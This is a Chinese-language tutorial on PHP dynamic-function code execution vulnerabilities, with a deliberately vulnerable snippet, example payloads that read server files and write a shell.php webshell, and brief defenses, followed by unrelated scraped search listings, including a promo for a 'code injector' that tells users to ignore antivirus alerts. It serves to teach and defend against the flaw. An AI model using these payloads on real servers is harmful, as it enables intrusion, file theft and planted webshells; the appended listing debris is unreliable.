    由于PHP的特性原因,PHP的函数支持直接由拼接的方式调用,这直接导致了PHP在安全上的控制有加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func()的初衷一样,用来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。测试代码如下:

    <?php
    if(isset($_GET['a'])) {
     $a=$_GET['a'];
     $b=$_GET['b'];
     $a($b);
    }
    ?>

    在这里插入图片描述

    漏洞利用

    1. 直接获取shell
      一句话木马使用菜刀或者蚁剑连接即可。

    2. 获取当前文件的绝对路径
      __FILE__是PHP预定义常量,其含义当前文件的路径。提交代码?code=print(__FILE__);
      在这里插入图片描述

    3. 读文件
      我们可以利用file_get_contents()函数读取服务器任意文件,前提是知道目标文件路径具有读取权限。提交代码?code=var_dump(file_get_contents( 'c:\windows\system32\drivers\etc\hosts'));
      读取服务器hosts文件。
      在这里插入图片描述

    4. 写文件
      我们可以利用file_put_contents()函数,写入文件。前提是知道可写目录。
      提交代码?code=var_dump(file_put_contents($_POST[1],$_POST[2]));第一个参数是文件名,第二个参数是文件内容,此时需要借助于hackbar通过post 方式提交参数1=shell.php&2=<?php phpinfo()?>即可在当前目录下创建一个shell.php文件。
      在这里插入图片描述
      在这里插入图片描述

    防御方法

    1. 尽量不要使用eval等函数
    2. 如果使用的话一定要进行严格的过滤
    3. preg_replace放弃使用/e修饰符
    4. 禁用函数,修改配置文件php.ini里的 disable functions = 要禁用的函数
    展开全文
  • 代码注入器!

    2015-04-04 16:06:07
    绝对好东西,报毒请放心使用!良心保证!叶子代码注入器!
  • 易语言打造的 代码注入器 完美的汇编引擎! 和VC++的可以说一模一样!
  • 汇编代码注入器 call测试工具 dll注入器
  • 代码注入的三种方法

    2013-12-02 10:54:52
    代码注入不同的进程地址空间,然后在该进程的上下文中执行注入的代码。本文将介绍三种方法: 1、Windows 钩子 2、CreateRemoteThread 和 LoadLibrary 技术 ——进程间通信 3、CreateRemoteThread 和...
  • 注入的代码注入代码注入代码注入代码注入代码注入代码注入代码注入的代码
  • 命令执行/代码注入漏洞概述 命令执行/代码注入漏洞分类介绍 命令执行/代码注入漏洞挖掘方法 命令执行/代码注入漏洞攻击防御 总结;命令执行/代码注入漏洞概述;命令执行/代码注入漏洞概述;命令执行/代码注入漏洞分类...
  • Hook 钩子技术及代码注入的 3 种方式

    千次阅读 2020-08-09 12:49:04
    在原有的方法前后加入我们自定义的代码。相当于在系统没有调用该函数之前,钩子程序就先捕获该消息, 可以先得到控制权,这时钩子函数便可以加工处理(改变)该函数的执行行为。 通俗点来说呢,比如我要 Hook 一...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 542,453
精华内容 216,981
关键字:

代码注入